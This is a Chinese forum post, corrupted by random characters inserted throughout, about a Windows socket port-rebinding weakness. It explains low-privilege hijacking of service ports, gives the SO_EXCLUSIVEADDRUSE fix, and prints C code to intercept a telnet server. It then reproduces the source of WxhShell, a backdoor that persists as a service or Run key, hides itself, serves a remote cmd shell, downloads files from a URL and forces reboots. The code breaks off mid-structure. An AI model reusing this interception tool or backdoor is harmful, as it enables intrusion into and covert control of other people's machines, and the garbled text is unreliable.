在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[ao
U5;7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<WXzh5D2 BG^C9*ZuP saddr.sin_family = AF_INET;
R.[Z]-X _{vkX<s saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`dMqe\o%! F["wDO bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
SjjIr ^ G!8Z~CPF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
v1k)hFjPK MC((M,3L 这意味着什么?意味着可以进行如下的攻击:
8E&XbqP+ aKUS5jDu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\?j E#^ "!>DX1rsi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]u-]'P I]Tsz'T!9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5 )2:stT73 ]W0EVf=,k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
BYW^/B Y) @ ''GPL@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(\"k&O{ 6ZgU"!|r 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
cr?7O;, to8X=80-3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&bqT/H18 }7G8|54t #include
FG3UZVUg9 #include
dw~p?[ #include
f"7M^1)h2% #include
Z34Wbun4 DWORD WINAPI ClientThread(LPVOID lpParam);
KV|}# <dD int main()
)2UZ% ?V# {
2Nxm@B` { WORD wVersionRequested;
IvpcSam' DWORD ret;
;Z j]~| WSADATA wsaData;
+9O5KI?P BOOL val;
{
74mf'IW SOCKADDR_IN saddr;
sG~<M"znV SOCKADDR_IN scaddr;
J`IDlGFYp int err;
G
a;.a SOCKET s;
M L7\BT SOCKET sc;
Ov-b:lH int caddsize;
Gc.P,K/hr HANDLE mt;
ODc9r } DWORD tid;
;o/>JHGj wVersionRequested = MAKEWORD( 2, 2 );
Pi%%z
err = WSAStartup( wVersionRequested, &wsaData );
B,z<%DAE if ( err != 0 ) {
*'"T$ib printf("error!WSAStartup failed!\n");
% |q0-x return -1;
&2-L.Xb }
,:Vm6u! saddr.sin_family = AF_INET;
:RSz4 EA.D}X C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M,j(=hRJ/E zPEg saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
juAMAplf saddr.sin_port = htons(23);
dX8hpQ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!$A 37j6 {
m`4R]L] printf("error!socket failed!\n");
'B83m#HR# return -1;
q;5i4| }
B:"THN^ val = TRUE;
EzW)'Zzw~ //SO_REUSEADDR选项就是可以实现端口重绑定的
dk
QaM@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@4%L36k {
ULc`~] printf("error!setsockopt failed!\n");
x?x`oirh return -1;
M >:]lpRK }
x\?;=@AW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|o'Q62`%} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
KPSh#x&I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
oHM
] *O:r7_ Y0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:ztr) {
ERUt'1F?] ret=GetLastError();
kE.x+2 printf("error!bind failed!\n");
I O%6 O return -1;
dAP|:&y@ }
2LCB])X listen(s,2);
M)?dEgU}M while(1)
~mV"i7VX {
g#NZ ,~ caddsize = sizeof(scaddr);
_a_xzv' //接受连接请求
bG&"9b_c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}14{2=!Q if(sc!=INVALID_SOCKET)
%I!:ITa {
<
`qRA] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
UX`]k{Mz if(mt==NULL)
EG'[`<*h {
-]Cc printf("Thread Creat Failed!\n");
gw+9x<e break;
e73^#O&Xt }
d{et8N }
ogM%N CloseHandle(mt);
E{=2\Wkcp }
_2fkb=2@ closesocket(s);
0,*%vG?Q WSACleanup();
qP!eJ6[Nh" return 0;
P ]N
[y }
Jxf~&!zR DWORD WINAPI ClientThread(LPVOID lpParam)
z^o 1GY {
3>zN/f SOCKET ss = (SOCKET)lpParam;
Fhq9D{TeY, SOCKET sc;
I4rPHZ| unsigned char buf[4096];
8pM>Co! SOCKADDR_IN saddr;
O^LTD#}$a) long num;
u{&B^s)k. DWORD val;
=9L$L|W DWORD ret;
{-9jm%N //如果是隐藏端口应用的话,可以在此处加一些判断
^\ ?O4,L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1{pmKPu saddr.sin_family = AF_INET;
M_B:{%4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z2ms^Y=j saddr.sin_port = htons(23);
Ap&)6g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J MX6yV {
|1Dc!V'?" printf("error!socket failed!\n");
HDM<w+ZxX return -1;
8$xPex~2 }
l>lW]W val = 100;
+ww^ev% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
||2Q~*: {
hf!|\f ret = GetLastError();
F}Mhs17!| return -1;
G
DSfT{kK\ }
;S$Ll*f>D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5yh/0i5 | {
JnD{J`: ret = GetLastError();
&a> lWE return -1;
y$Zj?Dd# }
>1L=,M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t^=U*~ {
mIZwAKo printf("error!socket connect failed!\n");
)j6eE+gF closesocket(sc);
u#W5`sl closesocket(ss);
z
`8cOK- return -1;
~>G]_H]? }
{ PlK@#UN while(1)
'/0#lF {
W:&R~R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
k!jNOqbb //如果是嗅探内容的话,可以再此处进行内容分析和记录
~CRSL1? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
K5 3MMH[q# num = recv(ss,buf,4096,0);
kg5ev8 if(num>0)
Eu@5L9A send(sc,buf,num,0);
J}spiVM else if(num==0)
<Pqv;WI|R break;
@54*.q$ num = recv(sc,buf,4096,0);
h>S[^
-, if(num>0)
7&}P{<}o^ send(ss,buf,num,0);
@z6!a else if(num==0)
i;\s.wrzH break;
HCA{pR` }
-ML6d&cm closesocket(ss);
B,$l4m4 closesocket(sc);
}pNX@C#De return 0 ;
<>SdVif] }
9V1cdb~?"T P=AS>N^yaL O[~x_xeW ==========================================================
S{F-ttS" 2)iD4G` 下边附上一个代码,,WXhSHELL
uE_c4Hp .r|*Ch#;P ==========================================================
jX=lAs~6 KV!<Oq #include "stdafx.h"
AH7L.L+$M .;/L2Jv #include <stdio.h>
S^RUw #include <string.h>
qG8s;_G #include <windows.h>
r >{G`de4 #include <winsock2.h>
,1n
>U?5 #include <winsvc.h>
!jX4`/n2 #include <urlmon.h>
`linG1mF 8"'x)y #pragma comment (lib, "Ws2_32.lib")
'3tw<k!1{. #pragma comment (lib, "urlmon.lib")
TT!ET<ciN *}b]rjsj #define MAX_USER 100 // 最大客户端连接数
Y8s;w!/ #define BUF_SOCK 200 // sock buffer
{E9v`u\ #define KEY_BUFF 255 // 输入 buffer
~9pM%N
V 3&&+YX #define REBOOT 0 // 重启
bPD)D'Hs #define SHUTDOWN 1 // 关机
9
wa,k ( `' 8Ww #define DEF_PORT 5000 // 监听端口
6/ g%\ka (ClhbfzD #define REG_LEN 16 // 注册表键长度
V*n==Nb5L #define SVC_LEN 80 // NT服务名长度
#m. AN JV"NZvjN7d // 从dll定义API
:1fagaPg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I8m:3fL" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}F1s
tDx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
PB'0?b}fab typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
J07O:cjyu SQ(apc}N4 // wxhshell配置信息
J}g~uW struct WSCFG {
</oY4$ l' int ws_port; // 监听端口
_uH9XGm char ws_passstr[REG_LEN]; // 口令
G"s0GpvQ int ws_autoins; // 安装标记, 1=yes 0=no
I@7/jUO char ws_regname[REG_LEN]; // 注册表键名
r((Tavn char ws_svcname[REG_LEN]; // 服务名
:Z`4j char ws_svcdisp[SVC_LEN]; // 服务显示名
c,5n,i char ws_svcdesc[SVC_LEN]; // 服务描述信息
{XY3Xo char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)na&"bJ int ws_downexe; // 下载执行标记, 1=yes 0=no
gy_$#e char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
_+QwREP char ws_filenam[SVC_LEN]; // 下载后保存的文件名
97~K!'/^+y =v-2@=NJ`K };
_g|acBF a%,fXp> // default Wxhshell configuration
q=c/B(II! struct WSCFG wscfg={DEF_PORT,
/lD?VE "xuhuanlingzhe",
[$\>~nj= 1,
:iCM=k "Wxhshell",
T-L5zu "Wxhshell",
d+2daKi "WxhShell Service",
m@qqVRn#) "Wrsky Windows CmdShell Service",
f@z*3I; "Please Input Your Password: ",
-zfoRU v 1,
D&{
*AH%Q "
http://www.wrsky.com/wxhshell.exe",
b](o]O{v "Wxhshell.exe"
D!FaE N };
,"
R>}kPli Df=q-iq<{/ // 消息定义模块
iyM^[/-R6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r'aY2n^O char *msg_ws_prompt="\n\r? for help\n\r#>";
w+UV"\!G)Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
h8}8Lp(/' char *msg_ws_ext="\n\rExit.";
g'lT char *msg_ws_end="\n\rQuit.";
8OAg~mQ15( char *msg_ws_boot="\n\rReboot...";
H~9=&p[Q char *msg_ws_poff="\n\rShutdown...";
T!^Mvat char *msg_ws_down="\n\rSave to ";
}=GM?,7b &TT":FPR char *msg_ws_err="\n\rErr!";
V/y=6wUiSl char *msg_ws_ok="\n\rOK!";
9{eBgdC cH"@d^"+q| char ExeFile[MAX_PATH];
gbGTG(:1S int nUser = 0;
"E PD2,%S HANDLE handles[MAX_USER];
HhSjR%6HY; int OsIsNt;
} p'8w\C$ =7jEz+w# SERVICE_STATUS serviceStatus;
l1-HO SERVICE_STATUS_HANDLE hServiceStatusHandle;
X%4h(7;v !Yh}H<w0 // 函数声明
pCt}66k} int Install(void);
#)74X%4( int Uninstall(void);
!IAKVQ int DownloadFile(char *sURL, SOCKET wsh);
DX@}!6|T int Boot(int flag);
FBYODw void HideProc(void);
B=zMYi int GetOsVer(void);
Q=+8/b int Wxhshell(SOCKET wsl);
nR'#s%Kj void TalkWithClient(void *cs);
*SZ>upg int CmdShell(SOCKET sock);
%W;u}` int StartFromService(void);
k&GHu0z int StartWxhshell(LPSTR lpCmdLine);
TETsg5# 3%IWGmye4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
z\}!RBOq VOID WINAPI NTServiceHandler( DWORD fdwControl );
zqGYOm$r |=3 *;} // 数据结构和表定义
;nk@XFJ SERVICE_TABLE_ENTRY DispatchTable[] =
Y><(? {
D@hmO]5c {wscfg.ws_svcname, NTServiceMain},
XiG88Kwv {NULL, NULL}
<xF?~7 };
`pYE[y+ U42\.V0 // 自我安装
1g i}H) int Install(void)
q<XcOc5 {
7Po/_% char svExeFile[MAX_PATH];
E^syrEz HKEY key;
Ekf2NT strcpy(svExeFile,ExeFile);
v MWC(m "k>bUe|RG // 如果是win9x系统,修改注册表设为自启动
` u=<c if(!OsIsNt) {
h.b+r~u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hEcYpng~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)6G+ tU' RegCloseKey(key);
|Ow$n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lIl9ypikg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7.|S>+Q RegCloseKey(key);
`Kp}s< return 0;
s5.k|!K }
tJ>d4A;8x }
7xDN.o*> }
ZOHRUm else {
yS"0/Rm} g
=\13#F // 如果是NT以上系统,安装为系统服务
J~2CD*v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
r %xB8e9 if (schSCManager!=0)
j?J=w=.Nx {
~%G Ssm\J SC_HANDLE schService = CreateService
*]9XDc]{j1 (
WFdem/\kX schSCManager,
+-k`x0v wscfg.ws_svcname,
/O"0L/hc^ wscfg.ws_svcdisp,
2o}8W7y SERVICE_ALL_ACCESS,
}q x(z^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
D4\(:kF\Hg SERVICE_AUTO_START,
]Hj`2\KD.d SERVICE_ERROR_NORMAL,
dh,7iQ
s svExeFile,
|ZuDX87 NULL,
|
VRq$^g NULL,
1
'%-y NULL,
_^3@PM> NULL,
KqY>4tb NULL
faJ8zX );
^ N_`^m if (schService!=0)
ZArf;&8 {
Faw. GU CloseServiceHandle(schService);
%w%zv2d CloseServiceHandle(schSCManager);
Xa\]ua_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
> hesxC! strcat(svExeFile,wscfg.ws_svcname);
Xa6qvg7/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
CCwK8`% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w5=EtKTi RegCloseKey(key);
*Ag, kW" return 0;
,|>nF;.Y }
'.xkn{c }
{kv4g\a; CloseServiceHandle(schSCManager);
3g+\?L-c }
s-o~@(r6 }
n7'<3t oPE.gn_$ return 1;
\ !6t }
N}1-2 .y(@Y6hO // 自我卸载
^W{eO@ int Uninstall(void)
:'TX"E! {
C(ZcR_+r$, HKEY key;
{S# 5g2 ; vhnA$'a if(!OsIsNt) {
ob)D{4B' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r]Z.`}Kkm RegDeleteValue(key,wscfg.ws_regname);
T&e%/ RegCloseKey(key);
[kQ"6wh8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gB'`I(q5. RegDeleteValue(key,wscfg.ws_regname);
1W4H-/Re RegCloseKey(key);
U@MOvW) return 0;
$Jt8d|UP }
| eK,Td% }
~MD><w> }
7jD@Gp`" 3 else {
F\l!A'Q+t ]oo|o1H87 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H==X0 if (schSCManager!=0)
W'8J<VBD {
;%lJD"yF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HXz iDnj if (schService!=0)
}:tAKO=+ {
ZO]E@?Oav if(DeleteService(schService)!=0) {
| H5Ync[s CloseServiceHandle(schService);
sVNo\ CloseServiceHandle(schSCManager);
3<yCe%I: return 0;
ggzAU6J }
P'KY.TjWb CloseServiceHandle(schService);
XWJ0=t&} }
_y.mpX& CloseServiceHandle(schSCManager);
3" 8t)s }
F5Cqv0HV }
%YsRm%q GWVEIZ return 1;
qsQ]M^@> }
:a#| #zh6=.,7 // 从指定url下载文件
|2tSUOZ int DownloadFile(char *sURL, SOCKET wsh)
S;G"L$&\ {
75' Ua$ HRESULT hr;
;g!xQvcR char seps[]= "/";
8Fyc#Xo8 char *token;
B>c[Zg1 char *file;
](idf(j char myURL[MAX_PATH];
99=[>Ck)G char myFILE[MAX_PATH];
GA}hp% kjQIagw strcpy(myURL,sURL);
})Ix.!p token=strtok(myURL,seps);
eU<]h>2 while(token!=NULL)
w/)e2CH {
;w>Q{z file=token;
KI^ q 5D ? token=strtok(NULL,seps);
gt(X!iN] }
Ss*LgK_ i&?
78+: GetCurrentDirectory(MAX_PATH,myFILE);
q>wa#1X) strcat(myFILE, "\\");
AqTR.}H strcat(myFILE, file);
pRb+'v&_k send(wsh,myFILE,strlen(myFILE),0);
=+kvL2nx- send(wsh,"...",3,0);
HQjxJd5P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_CYmG"mY if(hr==S_OK)
Y,p2eAss return 0;
h Js&rpN else
UeIqAG 8 return 1;
mCZF5r CYY
X\^hA }
j X^&4f 2\kC_o97 // 系统电源模块
fbW,0 int Boot(int flag)
23.y3t_? {
MV:<w3! HANDLE hToken;
!IQfeoT TOKEN_PRIVILEGES tkp;
"oKj~:$ Vf#oKPP1 if(OsIsNt) {
F5om-tzy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4 @ydK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
rZwf%} tkp.PrivilegeCount = 1;
4rGO8R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Hj-<{#, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;RTrRh0v if(flag==REBOOT) {
0|qx/xo|- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
QZz{74]n return 0;
TWD|1
di0 }
/;]B1T7 else {
JCQx8;V%I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>"m@qkh return 0;
.T
N`p* }
bHlD m~5 }
-O5(% else {
A$$R_3ne if(flag==REBOOT) {
RLeSA\di if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
6kmZ!9w0| return 0;
8/kx 3 }
0|*UeM else {
519:yt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
l%Fse&4\ return 0;
: Oz7R: }
Sj=69>m]5 }
?Sd~u1w8K !Sr0Im0 return 1;
d%[`=fs]|m }
n+A'XBHk !D|pbzQc8 // win9x进程隐藏模块
d~xU?)n) void HideProc(void)
(qq$y
#$ {
i32_ZB Z?y (Mire%$h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6vp8LNSW if ( hKernel != NULL )
WP#_qqO {
""U?#<}GD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MSm`4lw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
HK,G8:T FreeLibrary(hKernel);
]R3pBC"Jv }
v1tN
DyM6 9^[5!SMzCj return;
0;m$a= }
y9l.i@-
G\aLg // 获取操作系统版本
y:|Xg0Kp int GetOsVer(void)
J,77pf!B {
]oWZ{#r2 OSVERSIONINFO winfo;
:6Pc m3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;Kd{h GetVersionEx(&winfo);
"a%ASy>?g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E?c{02fu return 1;
GF/x;,Ae else
I}]@e^ ~ return 0;
gPhw.e"" }
&l!{!f4 po](6V // 客户端句柄模块
{ ves@p>? int Wxhshell(SOCKET wsl)
|?t8M9[Z {
{dr&46$p SOCKET wsh;
zL!~,B8C struct sockaddr_in client;
=='{[[J DWORD myID;
lN`_0 Dy!bj while(nUser<MAX_USER)
5}l#zj {
4>wIF }\ int nSize=sizeof(client);
lVp~oZC6[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
h9OL%n 7m' if(wsh==INVALID_SOCKET) return 1;
0)] C&;}_M E(4lu% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^*UfCoj9Z if(handles[nUser]==0)
W$VCST closesocket(wsh);
]OCJ~Zw else
-L4G WJ~.- nUser++;
%F]9^C+ }
n4_:#L? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
oJ;O>J@c {uQ)p= return 0;
"VVR#H}{ }
_I}L$ gBiQIhz // 关闭 socket
r(2'0JQ void CloseIt(SOCKET wsh)
[#*?uu+
jK {
V1fvQ=9 closesocket(wsh);
vaCdfO& nUser--;
LU IT=+ ExitThread(0);
s2v#evI`+ }
w5/X{ `zOAltfd // 客户端请求句柄
)PoI~km void TalkWithClient(void *cs)
U.j\u>a {
,m'#>d&zO /B?SaKh SOCKET wsh=(SOCKET)cs;
!}Ou|r4_ char pwd[SVC_LEN];
}ok
nB char cmd[KEY_BUFF];
/E
yg*# char chr[1];
?m
r@B int i,j;
"M#`y!__ Rc.<0# while (nUser < MAX_USER) {
}GNH)-AG)$ n; '~"AG) if(wscfg.ws_passstr) {
'GdlqbX(% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.yh2ttf<gB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{S:3
FI //ZeroMemory(pwd,KEY_BUFF);
uV$d7(N}" i=0;
&*:)5F5 while(i<SVC_LEN) {
7LZb*+> ].T;x| // 设置超时
5!Mp#lO fd_set FdRead;
C`T5d struct timeval TimeOut;
h/bYtE FD_ZERO(&FdRead);
?UhAjtYIS FD_SET(wsh,&FdRead);
|iJZC TimeOut.tv_sec=8;
}/}`onRZ TimeOut.tv_usec=0;
h+u|MdOY\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ez:o9)N4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
IV#My9}e ]}L1W`n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#V,~d&_k pwd
=chr[0]; xjk|O;ak
if(chr[0]==0xd || chr[0]==0xa) { w58 QX/XG
pwd=0; U)=Z&($T
break; 0BP~0z
} |
xI_aYv*
i++; }fMFQA)
} dv}R]f'
N$a-i
// 如果是非法用户,关闭 socket ; Kb[UZ1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $>s@T(
} 7MJ)p$&
Z q>.;>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QM=436fq
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FT<*
z>g& ?vo2
while(1) { Ywk[VD+.
kJpHhAn4
ZeroMemory(cmd,KEY_BUFF); c(g^*8Pb
@O0vh$3t0
// 自动支持客户端 telnet标准 Nv]/L+i
j=0; ]Tw6Fg1o>
while(j<KEY_BUFF) { @z JZoJL]J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #_sVB~sn@
cmd[j]=chr[0]; "EkO>M/fr
if(chr[0]==0xa || chr[0]==0xd) { e[&3K<
cmd[j]=0; MW@b;=(
break; $,#IPoi~X
} lc(iy:z@
j++; 959jp85
} 0(f;am0y
!e"m*S.(6{
// 下载文件 >:nJTr
if(strstr(cmd,"http://")) { R:m=HS_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); QD VA*6F
if(DownloadFile(cmd,wsh)) D)cwttH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >mSl~.I2
else #@"rp]1xv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ZsK5v
} neH"ks5
else { S2SQ;s-t_
Z'bMIdV
switch(cmd[0]) { {v/6|
<rmV$_
// 帮助 @<JQn^M
case '?': { 4DM|OL`w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vrx3O
break; 5)i0g
} I
T2sS6&R
// 安装 b>._ r&.
case 'i': { n:)Y'52}
if(Install()) "jMnYEG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x)mC^
else ${eh52)`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6x8|v7cMH
break; h;[Ncj]
} ,IATJs$E
// 卸载 [kkcV5I-
case 'r': { Z}S tA0F_
if(Uninstall()) Jl,x~d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oip..f0
else %=eD)p7l-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3iL&;D
break; iiB$<b.((I
} rWmi 'niu
// 显示 wxhshell 所在路径 tJ=zk3BN~
case 'p': { M)Q+_c2*
char svExeFile[MAX_PATH]; Vp4]
strcpy(svExeFile,"\n\r"); swbD q
strcat(svExeFile,ExeFile); YHAg4eb8
send(wsh,svExeFile,strlen(svExeFile),0); $ayD55W4
break; D8XXm lo
} a,9GSKXo1
// 重启 sxa
(
case 'b': { VH65=9z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KphEw[4/
if(Boot(REBOOT)) }epN<DL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r{&"]'/X
else { /omVMu
closesocket(wsh); LK~0ck7
ExitThread(0); `q*ABsj
} Z] }@#/
n
break; 0q!{&pt
} IW*.B6Hw8
// 关机 j
pV
case 'd': { syvi/6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1!#ZEI C
if(Boot(SHUTDOWN)) Pw.+DA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /RJSkF+!
else { 3|3lUU\I
closesocket(wsh); }"tYb6*
ExitThread(0); XE\bZc
} ]0E- lD0J
break; Zv7)+Q
} =v9;HPiO
// 获取shell SBt:
`,
case 's': { inrL'z
CmdShell(wsh); z0Hh8*
closesocket(wsh); 0l*/_;wo
ExitThread(0); MLX.MUS
break; K.Z{4x=0
} VUy
1?n
// 退出 @DR&e^Zz
case 'x': { 9hU@VPB~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =h{2!Ah7
X
CloseIt(wsh); )cXc"aj@s
break; z>~3*a9&
} $i
Tgv?.Q
// 离开 s<]l[Y>
case 'q': { =Y0m;-1M
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MvFXVCT#
closesocket(wsh); RR|Eqm3)
WSACleanup(); .EQFHStr
exit(1); ln7.>.F
break; 5Tq 3L[T5;
} &h-1Z}
} kEh# 0
} H++rwVwj#h
!5-[kG&
// 提示信息 V>Cf
8>m
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LX'US-B.!
} I%`2RXBt3^
} tB.9Ov*
Ygb#U'|
return; #S)*MT4ke
} -d]z_
SP@
uPPe"$
// shell模块句柄 sMK/l @7
int CmdShell(SOCKET sock) OoNAW<
{ @@ QU"8q
STARTUPINFO si; Mtr~d
ZeroMemory(&si,sizeof(si)); ';%g^!lM
a
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WjB[e>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qMkP/BjV
PROCESS_INFORMATION ProcessInfo; +nuQC{^>
char cmdline[]="cmd"; V<7Gd8rDMM
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zoU.\]#C
return 0; !p$V7pFu6
} Yu=^`I
{ig@Iy~DT
// 自身启动模式 Z:Wix|,ONS
int StartFromService(void) TH-^tw
{ qCMcN<:>
typedef struct dGg+[?
{ yY+2;`CH
DWORD ExitStatus; 6-~
DWORD PebBaseAddress; "?!IPX2\S
DWORD AffinityMask; b8Qm4 b?:4
DWORD BasePriority; tj0vB]c
ULONG UniqueProcessId; 6yU~^))bx
